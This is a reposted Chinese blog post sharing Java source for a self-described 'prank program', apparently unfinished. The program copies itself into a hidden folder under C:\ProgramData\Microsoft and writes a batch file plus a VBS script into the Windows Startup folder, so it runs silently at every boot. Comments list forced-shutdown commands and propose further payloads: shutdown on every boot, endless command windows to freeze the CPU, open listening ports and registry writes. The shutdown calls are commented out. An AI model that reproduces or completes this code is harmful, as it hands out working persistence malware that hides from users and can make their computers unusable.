java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu
生活随笔
收集整理的這篇文章主要介紹了
java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;/*** * shutdown -s -t 60 60秒后關機* * shutdown -s -t 3600 1小時后關機* * logoff 注銷命令* * tsshutdn 60秒后關機* * shutdown -s -f 強制關機* * shutdown -s -t 時間* * shutdown -a 取消 關機命令** @author silence* 將程序影藏在 C:\ProgramData\Microsoft 下的自定義silence文件夾*/
public class Silence1 {/*** 程序存儲的文件位置 和bat*/private static final File SILENCE_FILE = new File("C:\\ProgramData\\Microsoft\\silence");/*** 開機啟動項存放 vbs 的位置*/private static final File START_FILE = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\start.vbs");static {if (!SILENCE_FILE.exists()) {boolean mkdirs = SILENCE_FILE.mkdirs();}}public static void main(String[] args) throws Exception {//如果不是第一次啟動本軟件if (!START_FILE.exists()) {//程序運行的時候復制自身class文件到指定文件夾copySilence();//寫bat啟動項文件batStart();//寫vbs系統自啟動項vbsStart();}//寫個關機命令shutdown();//可以在這開個TCP或者UDP端口監聽該用什么方法//每次開機后會打開此程序 可以寫關機每次開機后會自動關機 重復打開cmd卡死 循環寫文件到桌面//可以啟動TCP 或UDP形式監聽端口//寫注冊表//運行cmd命令}/*** 關機命令*/private static void shutdown() throws Exception {//60s 后關機// Runtime.getRuntime().exec("shutdown -s -t 60");//取消關機命令// Runtime.getRuntime().exec("shutdown -a");// 強制關機// Runtime.getRuntime().exec("shutdown -s -f");}/*** 寫vbs系統自啟動項*/private static void vbsStart() throws Exception {FileOutputStream out = new FileOutputStream(START_FILE);String str1 = "set ws=wscript.createobject(\"wscript.shell\")";String str2 = "ws.run \"C:/ProgramData/Microsoft/silence/start.bat" + " /start\",0";out.write(str1.getBytes());out.write("\r\n".getBytes());out.write(str2.getBytes());out.close();}/*** 寫bat啟動class文件*/private static void batStart() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\start.bat");String str = "java Silence1";out.write(str.getBytes());out.close();}/*** 啟動后寫到C盤 啟動文件*/private static void copySilence() throws Exception {FileOutputStream out = new FileOutputStream(SILENCE_FILE.toString() + "\\Silence1.class");FileInputStream input = new FileInputStream("Silence1.class");byte[] bytes = new byte[1024];int length = 0;while ((length = input.read(bytes)) != -1) {out.write(bytes, 0, length);out.flush();}out.close();input.close();}
}
總結
以上是生活随笔為你收集整理的java恶搞程序半成品,打开将程序本身写到c盘隐藏,并设置开机启动项。可无限开机,可加影藏cmd while死循环 卡爆cpu的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 钟薛高回应雪糕长时间不融化 遭网友质疑:
- 下一篇: 360rp.exe是什么进程?360rp